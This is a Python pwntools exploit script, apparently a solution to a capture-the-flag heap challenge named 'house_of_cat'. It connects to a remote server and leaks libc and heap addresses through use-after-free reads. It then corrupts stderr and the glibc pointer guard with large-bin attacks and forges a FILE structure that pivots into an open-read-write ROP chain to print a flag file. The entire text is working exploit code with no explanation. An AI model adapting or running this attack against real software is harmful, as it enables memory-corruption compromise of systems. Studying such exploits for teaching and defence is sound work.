1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151
| from pwn import *
context.log_level = 'debug' binary = './house_of_cat' local = 0 if local: p = process(binary) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: p = remote('39.107.237.149', 15255) libc = ELF('./libc.so.6')
def add(index, size, content): p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$') p.sendlineafter('choice:\n', '1') p.sendlineafter('idx:\n', str(index)) p.sendlineafter('size:\n', str(size)) p.sendafter('content:\n', content)
def edit(index, content): p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$') p.sendlineafter('choice:\n', '4') p.sendlineafter('idx:\n', str(index)) p.sendafter('content:\n', content)
def free(index): p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$') p.sendlineafter('choice:\n', '2') p.sendlineafter('idx:\n', str(index))
def show(index): p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$') p.sendlineafter('choice:\n', '3') p.sendlineafter('idx:\n', str(index))
payload = 'LOGIN | r00t QWBQWXF admin' p.sendafter('~\n', payload)
add(0, 0x428, 'verf1sh') add(1, 0x428, './flag\x00')
free(0) add(15, 0x448, './flag\x00') add(14, 0x448, './flag\x00') show(0) p.recvuntil('Context:\n') libc_base = u64(p.recv(8)) - 0x21a0d0 success('libc_base -> {}'.format(hex(libc_base))) p.recv(8) heap_base = u64(p.recv(8)) success('heap_base -> {}'.format(hex(heap_base)))
flag_path = heap_base + 0x440 rtld_global = libc_base + 0x278040 stderr = libc_base + libc.sym['stderr'] pop_rdi = libc_base + 0x000000000002a3e5 setcontext = libc_base + libc.sym['setcontext'] ret = libc_base + 0x0000000000029cd6 bin_sh = libc_base + 0x00000000001d8698 system = libc_base + libc.sym['system']
gadget = libc_base + 0x00000000001675b0 io_cookie_jumps_addr = libc_base + 0x215b80 pointer_guard = libc_base - 0x2890
fake_file = b'0' * 0x78 fake_file += p64(libc_base+0x21ba60) fake_file = fake_file.ljust(0xc8, b'\x00') fake_file += p64(io_cookie_jumps_addr+0x18) fake_file += p64(heap_base + 0x10e0 + 0x450) fake_file += p64(0) enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11) fake_file += p64(enc_data)
pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x000000000002be51 pop_rdx_ret = libc_base + 0x000000000011f497 pop_rax_ret = libc_base + 0x0000000000045eb0 ret = libc_base + 0x0000000000029cd6 Read = libc_base + libc.sym['read'] Write = libc_base + libc.sym['write'] close = libc_base + libc.sym['close'] syscall = Read + 0x10
orw = p64(0) + p64(heap_base+0x10d0+0x460) orw += b'\x00' * 0x10 orw += p64(setcontext+61) orw += b'\x00' * 0x78 orw += p64(heap_base + 0x10e0 + 0x460+0xa0) + p64(ret)
orw += p64(pop_rdi_ret) + p64(0) orw += p64(close) orw += p64(pop_rdi_ret) + p64(flag_path) orw += p64(pop_rsi_ret) + p64(0) orw += p64(pop_rax_ret) + p64(2) orw += p64(syscall) orw += p64(pop_rdi_ret) + p64(0) orw += p64(pop_rsi_ret) + p64(flag_path) orw += p64(pop_rdx_ret) + p64(0x41)*2 orw += p64(Read) orw += p64(pop_rdi_ret) + p64(1) orw += p64(Write)
add(2, 0x428, 'verf1sh') add(3, 0x418, fake_file) free(2) add(13, 0x438, orw)
add(12, 0x438, 'verf1sh') free(3) edit(2, p64(libc_base+0x21a0d0)*2 + p64(heap_base) + p64(stderr-0x20)) add(11, 0x458, 'verf1sh')
free(15) add(10, 0x450, 'verf1sh') free(12) success('pointer_guard-0x20 -> {}'.format(hex(pointer_guard-0x20))) edit(15, p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20)) add(9, 0x450, 'verf1sh') add(8, 0x450, 'verf1sh')
free(9) free(10) free(8) add(7, 0x460, b'a'*0x458 + p64(0x471)) add(6, 0x460, b'a'*0x458 + p64(0x451))
free(6) free(9)
add(4, 0x460, p64(0) + p64(0x100)) success('setcontext -> {}'.format(hex(setcontext+61)))
p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$') p.sendlineafter('choice:\n', '1') p.sendlineafter('idx:\n', str(5)) p.sendlineafter('size:\n', str(0x460))
p.interactive()
|